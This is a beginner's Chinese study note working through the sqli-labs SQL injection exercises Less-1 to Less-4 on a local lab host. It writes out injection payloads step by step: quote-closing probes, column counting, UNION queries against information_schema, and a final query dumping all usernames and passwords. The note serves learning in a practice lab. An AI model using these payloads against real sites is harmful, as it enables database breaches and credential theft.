sqli-labs Less1-4 新手修仙版

今天学习的是sql的靶场

题外话:(没必要看,仅自己记录一下)

1.XXS: 跨站脚本攻击

2.cookie & session:

通俗理解:Session 是服务器端的「用户档案袋」,里面记着用户的详细登录信息、权限等;Cookie 是浏览器端的「档案袋编号」,每次请求都带上编号,服务器根据编号找到对应的档案袋,确认用户身份。

XSS 窃取的 Cookie,核心就是这个「档案袋编号(SessionID)」------ 拿到编号,就能冒充用户从服务器调取档案袋。

Less -4 靶场(我愿称之为通用靶场):

猜数据库

select schema_name from information_schema.schemata

猜某库的数据表

select table_name from information_schema.tables where table_schema='xxxxx'

猜某表的所有列

Select column_name from information_schema.columns where table_name='xxxxx'

获取某列的内容

Select *** from ****

L ess -1

注入核心逻辑:闭合原有引号→注释多余字符→拼接自定义 SQL→联合查询获取数据

http://sqli-labs:8989/Less-1/

  • 注入类型判断

?id=1'

报错原因:SELECT * FROM 表名 WHERE id='1'' LIMIT 0,1; 单引号不匹配

结论:单引号字符型注入

  • ?id=1' or 1=1 --+ 恒为真(为什么会造成注入:Id 参数在拼接 sql 语句时,未对 id 进行任何的过滤等操作,所以当提交 'or 1=1--+,直接构造的 sql 语句就是真的)

  • 判断查询字段数(order by 排序列数)

?id=1' or 1=1 order by 3 --+ order by 排序,判断列数

  • 查询数据库名

?id=-1' union select 1,database(),3--+

  • 查询数据库中的表名

http://sqli-labs:8989/Less-1/

?id=-1' union select 1,group_concat(table_name),3

from information_schema.tables

where table_schema=database()--+

关键参数:table_schema=database() 限定为当前数据库;group_concat 拼接所有表名(避免分页)

  • 查询users表的所有字段名

http://sqli-labs:8989/Less-1/

?id=-1' union select 1,group_concat(column_name),3

from information_schema.columns

where table_schema=database() and table_name='users'--+

  • 查询users表的所有账号密码(最终脱库)

http://sqli-labs:8989/Less-1/

?id=-1' union select 1,group_concat(username,':',password),3

from users--+

补充:

  1. 联合查询要求:前后查询字段数必须一致,需先用order by判断字段数
  2. 系统库information_schema是 SQL 注入脱库的核心,需熟记 3 个核心表:
  • tables:存储所有数据库的表信息
  • columns:存储所有表的字段信息
  • schema_name:存储所有数据库名

L ess -2 :(数字型注入)

  • 传入单引号测试:?id=1',页面报错(但报错原因和 Less-1 不同)
  • 传入数字逻辑测试:?id=1 and 1=2 → 页面无数据;?id=1 and 1=1 → 页面正常
  • 后续同Less-1

结论:数字型注入(后台 SQL 语句无引号包裹id参数,id直接作为数字参与查询)

Less-3 :(单引号 + 括号)

  • 核心特征:单引号 + 括号双重包裹参数,注入时必须同时闭合'),少一个都会报错
  • 闭合测试技巧:若单引号'报错,尝试')、")、))等组合,能让页面恢复正常的就是正确闭合方式
  • 联合查询的核心流程(判字段数→控显位→查库 / 表 / 字段 / 数据)在 Less-1/2/3 中完全通用,仅闭合格式不同
  • 后续同Less-1

报错信息是判断闭合方式的关键,需重点关注报错中「语法错误的位置」(如near ''1')' LIMIT 0,1'直接提示括号 + 单引号)

L ess -4:( 双引号 + 括号 )

  • 先试单引号测试:?id=1' → 页面无报错(和 Less-1/3 不同,排除单引号包裹)
  • 试双引号测试:?id=1" → 页面报错(关键特征)
  • 测试闭合方式:?id=1") --+ → 页面恢复正常
  • 后续同Less-1

结论:双引号 + 括号包裹的字符型注入(后台用("$id")包裹参数,需闭合双引号 + 括号)

总体小结:

快速判断闭合方式(通用方法)

如果不确定参数的包裹方式,按以下顺序测试,能让页面恢复正常的就是正确格式:

无引号(数字型):id=1 --+

单引号:id=1' --+

单引号 + 括号:id=1') --+

双引号:id=1" --+

双引号 + 括号:id=1") --+

相关推荐
liulilittle1 天前
关于拥塞控制的几点思考
网络·c++·tcp/ip·计算机网络·信息与通信·tcp·通信
AOwhisky1 天前
MySQL 学习笔记(第四期):SQL 语言之多表查询
linux·运维·网络·数据库·笔记·学习·mysql
小红卒1 天前
mysql之udf提权
数据库·mysql·网络安全
王码码20351 天前
多台服务器怎么统一看状态?Beszel 轻量监控,搭起来不费事
运维·服务器·后端·安全·阿里云·接口·web
ylscode1 天前
Anthropic Claude Oceanus意外泄露:Mythos系列AI红队测试遭遇API代理滥用危机
网络·人工智能·安全·web安全·安全威胁分析
Trouvaille ~1 天前
【Redis篇】Redis 哨兵(Sentinel):高可用自动故障转移
数据库·redis·缓存·中间件·sentinel·高可用·哨兵
qfljg1 天前
oracle 迁移到postgres
数据库·oracle
六月雨滴1 天前
Oracle SGA 优化
oracle·dba
giaz14n9X1 天前
Redis 分布式锁进阶第五十七篇
数据库·redis·分布式
福建佰胜张工1 天前
MAXON 机电高压油安全切断阀技术全解
安全·自动化